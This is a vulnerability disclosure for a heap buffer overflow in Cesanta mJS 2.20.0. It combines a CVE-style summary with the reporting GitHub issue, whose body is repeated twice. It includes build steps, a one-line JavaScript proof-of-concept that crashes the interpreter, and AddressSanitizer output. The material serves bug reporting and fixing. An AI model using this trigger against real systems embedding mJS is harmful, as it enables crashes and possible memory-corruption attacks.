Cesanta MJS v2.20.0 was discovered to contain a heap buffer overflow via to_json_or_debug at mjs/src/mjs_json.c.
cpe:2.3:a:cesanta:mjs:2.20.0:*:*:*:*:*:*:*
CF8D39F6-ACB1-46F8-87CF-1B41EFC157BE
OR
###### mJS revision

Commit: [b1b6eac](https://github.com/cesanta/mjs/commit/b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551)




###### Build steps

```bash
vim Makefile
DOCKER_CLANG=clang
$(DOCKER_CLANG) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
# save the makefile then make
make
```



###### Test case
<details>
<summary>poc.js</summary>
<pre><code>

```javascript
(JSON.stringify([1, 2, 3]))((JSON.stringify - 6.5 - 321e2)(JSON.stringify([1, 2, 3])));
```
</code></pre>
</details>
​	

###### Execution steps & Output

```bash
$ ./mjs/build/mjs poc.js
==122636==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61500000007f at pc 0x00000057b751 bp 0x7fff091bd080 sp 0x7fff091bd078
WRITE of size 1 at 0x61500000007f thread T0
    #0 0x57b750 in to_json_or_debug /root/mjs/src/mjs_json.c:154:13
    #1 0x55178f in mjs_exec_internal /root/mjs/src/mjs_exec.c:1073:5
    #2 0x552d2d in mjs_exec_file /root/mjs/src/mjs_exec.c:1096:11
    #3 0x5821d3 in main /root/mjs/src/mjs_main.c:47:11
    #4 0x7f2516c85b96 in __libc_start_main /build/glibc-2ORdQG/glibc-2.27/csu/../csu/libc-start.c:310
    #5 0x41a2c9 in _start (/usr/local/bin/mjs+0x41a2c9)

0x61500000007f is located 1 bytes to the left of 472-byte region [0x615000000080,0x615000000258)
allocated by thread T0 here:
    #0 0x4da3a8 in calloc (/usr/local/bin/mjs+0x4da3a8)
    #1 0x538c1a in mjs_create /root/mjs/src/mjs_core.c:74:21
    #2 0x5817e1 in main /root/mjs/src/mjs_main.c:17:21
    #3 0x7f2516c85b96 in __libc_start_main /build/glibc-2ORdQG/glibc-2.27/csu/../csu/libc-start.c:310

SUMMARY: AddressSanitizer: heap-buffer-overflow /root/mjs/src/mjs_json.c:154:13 in to_json_or_debug
Shadow bytes around the buggy address:
  0x0c2a7fff7fb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c2a7fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c2a7fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c2a7fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c2a7fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c2a7fff8000: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa[fa]
  0x0c2a7fff8010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c2a7fff8020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c2a7fff8030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c2a7fff8040: 00 00 00 00 00 00 00 00 00 00 00 fa fa fa fa fa
  0x0c2a7fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==122636==ABORTING
```
Credits: Found by OWL337 team.
Heap-buffer-overflow mjs/src/mjs_json.c:154:13 in to_json_or_debug
This is a GitHub Issue
repo:mjs
owner:cesanta
Title : Heap-buffer-overflow mjs/src/mjs_json.c:154:13 in to_json_or_debug
Issue date:

--- start body ---
###### mJS revision

Commit: [b1b6eac](https://github.com/cesanta/mjs/commit/b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551)




###### Build steps

```bash
vim Makefile
DOCKER_CLANG=clang
$(DOCKER_CLANG) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
# save the makefile then make
make
```



###### Test case
<details>
<summary>poc.js</summary>
<pre><code>

```javascript
(JSON.stringify([1, 2, 3]))((JSON.stringify - 6.5 - 321e2)(JSON.stringify([1, 2, 3])));
```
</code></pre>
</details>
​	

###### Execution steps & Output

```bash
$ ./mjs/build/mjs poc.js
==122636==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61500000007f at pc 0x00000057b751 bp 0x7fff091bd080 sp 0x7fff091bd078
WRITE of size 1 at 0x61500000007f thread T0
    #0 0x57b750 in to_json_or_debug /root/mjs/src/mjs_json.c:154:13
    #1 0x55178f in mjs_exec_internal /root/mjs/src/mjs_exec.c:1073:5
    #2 0x552d2d in mjs_exec_file /root/mjs/src/mjs_exec.c:1096:11
    #3 0x5821d3 in main /root/mjs/src/mjs_main.c:47:11
    #4 0x7f2516c85b96 in __libc_start_main /build/glibc-2ORdQG/glibc-2.27/csu/../csu/libc-start.c:310
    #5 0x41a2c9 in _start (/usr/local/bin/mjs+0x41a2c9)

0x61500000007f is located 1 bytes to the left of 472-byte region [0x615000000080,0x615000000258)
allocated by thread T0 here:
    #0 0x4da3a8 in calloc (/usr/local/bin/mjs+0x4da3a8)
    #1 0x538c1a in mjs_create /root/mjs/src/mjs_core.c:74:21
    #2 0x5817e1 in main /root/mjs/src/mjs_main.c:17:21
    #3 0x7f2516c85b96 in __libc_start_main /build/glibc-2ORdQG/glibc-2.27/csu/../csu/libc-start.c:310

SUMMARY: AddressSanitizer: heap-buffer-overflow /root/mjs/src/mjs_json.c:154:13 in to_json_or_debug
Shadow bytes around the buggy address:
  0x0c2a7fff7fb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c2a7fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c2a7fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c2a7fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c2a7fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c2a7fff8000: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa[fa]
  0x0c2a7fff8010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c2a7fff8020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c2a7fff8030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c2a7fff8040: 00 00 00 00 00 00 00 00 00 00 00 fa fa fa fa fa
  0x0c2a7fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==122636==ABORTING
```
Credits: Found by OWL337 team.
--- end body ---

comments :
--- start comments ---

--- end comments ---